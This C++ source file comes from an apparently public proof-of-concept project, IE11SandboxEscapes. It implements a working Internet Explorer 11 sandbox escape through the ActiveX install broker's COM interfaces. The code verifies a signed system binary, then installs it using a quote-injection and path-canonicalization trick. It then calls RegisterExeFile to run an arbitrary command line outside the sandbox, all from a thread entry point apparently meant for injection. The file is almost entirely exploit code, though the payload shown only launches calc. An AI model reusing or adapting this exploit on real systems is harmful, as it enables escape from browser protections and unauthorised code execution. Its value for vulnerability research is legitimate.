// This file is part of IE11SandboxEsacapes.

// IE11SandboxEscapes is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.

// IE11SandboxEscapes is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.

// You should have received a copy of the GNU General Public License
// along with IE11SandboxEscapes.  If not, see <http://www.gnu.org/licenses/>.

#include "stdafx.h"
#include <Utils.h>
#include <Shlwapi.h>

#pragma comment(lib, "shlwapi.lib")

typedef HRESULT(__stdcall *fCoCreateUserBroker)(IIEUserBroker** ppBroker);

void DoAXExploit()
{
	try
	{
		HRESULT ret = E_FAIL;

		IIEUserBrokerPtr broker = CreateBroker();

		DebugPrintf("Created User Broker: %p\n", broker);

		IIEAxInstallBrokerBrokerPtr axInstallBroker = broker;

		DebugPrintf("Created AX Install Broker: %p\n", axInstallBroker);

		IUnknownPtr unk;

		ret = axInstallBroker->BrokerGetAxInstallBroker(__uuidof(CIEAxInstallBroker), IID_IUnknown, 0, 2, nullptr, &unk);
		if (FAILED(ret))
		{
			DebugPrintf("Failed to create install broker\n");
			throw _com_error(ret);
		}

		IIeAxiAdminInstallerPtr admin = unk;
				
		bstr_t sessionGuid;
		bstr_t empty;

		ret = admin->InitializeAdminInstaller(empty, empty, sessionGuid.GetAddress());
		if (FAILED(ret))
		{
			DebugPrintf("Failed initialize admin interface\n");
			throw _com_error(ret);
		}
			
		DebugPrintf("Initialize: %ls\n", sessionGuid.GetBSTR());

		IIeAxiInstaller2Ptr installer = unk;

		DebugPrintf("Installer: %p", installer);

		unsigned char* details = nullptr;
		unsigned int detailsLength = 0;

		CLSID mgrclsid;

		// Not important really
		CLSIDFromString(L"4871A87A-BFDD-4106-8153-FFDE2BAC2967", &mgrclsid);

		/*bstr_t url = L"http://dlm.tools.akamai.com/dlmanager/versions/activex/dlm-activex-2.2.4.8.cab#Version=2,2,4,8";
		bstr_t path = L"C:\\users\\user\\desktop\\dlm-activex-2.2.4.8.cab";*/

		bstr_t path = GetWindowsSystemDirectory() + L"\\notepad.exe";

		bstr_t fullPath;			

		// Verify a local "signed" file, doesn't really matter what, we are not going to run it
		ret = installer->VerifyFile(sessionGuid, nullptr, path, path, bstr_t(L""),
			0, 0, mgrclsid, fullPath.GetAddress(), &detailsLength, &details);

		if (FAILED(ret))
		{
			throw _com_error(ret);
		}

		WCHAR newPath[MAX_PATH];

		wcscpy_s(newPath, fullPath);

		PathRemoveFileSpec(newPath);

		// Install file to dummy location, use canonicalization trick to escape quotes later
		ret = installer->InstallFile(sessionGuid, nullptr, bstr_t(newPath), bstr_t(PathFindFileName(fullPath)),
			GetWindowsSystemDirectory() + L"\\calc.exe\" \\..\\..\\..\\..\\..\\..\\windows\\temp", bstr_t(L"testbin.exe"), 0);
		DebugPrintf("InstallFile: %08X\n", ret);

		if (FAILED(ret))
		{
			throw _com_error(ret);
		}

		bstr_t installPath = GetWindowsSystemDirectory() + L"\\calc.exe\" \\..\\..\\..\\..\\..\\..\\windows\\temp\\testbin.exe";

		PROCESS_INFORMATION procInfo = { 0 };

		// Run our arbitrary command line
		ret = installer->RegisterExeFile(sessionGuid, installPath, 0, &procInfo);
	}
	catch (_com_error e)
	{
		DebugPrintf("Error: %ls\n", e.ErrorMessage());
	}	
}

DWORD CALLBACK ExploitThread(LPVOID hModule)
{
	CoInitialize(NULL);

	DoAXExploit();

	CoUninitialize();

	FreeLibraryAndExitThread((HMODULE)hModule, 0);	
}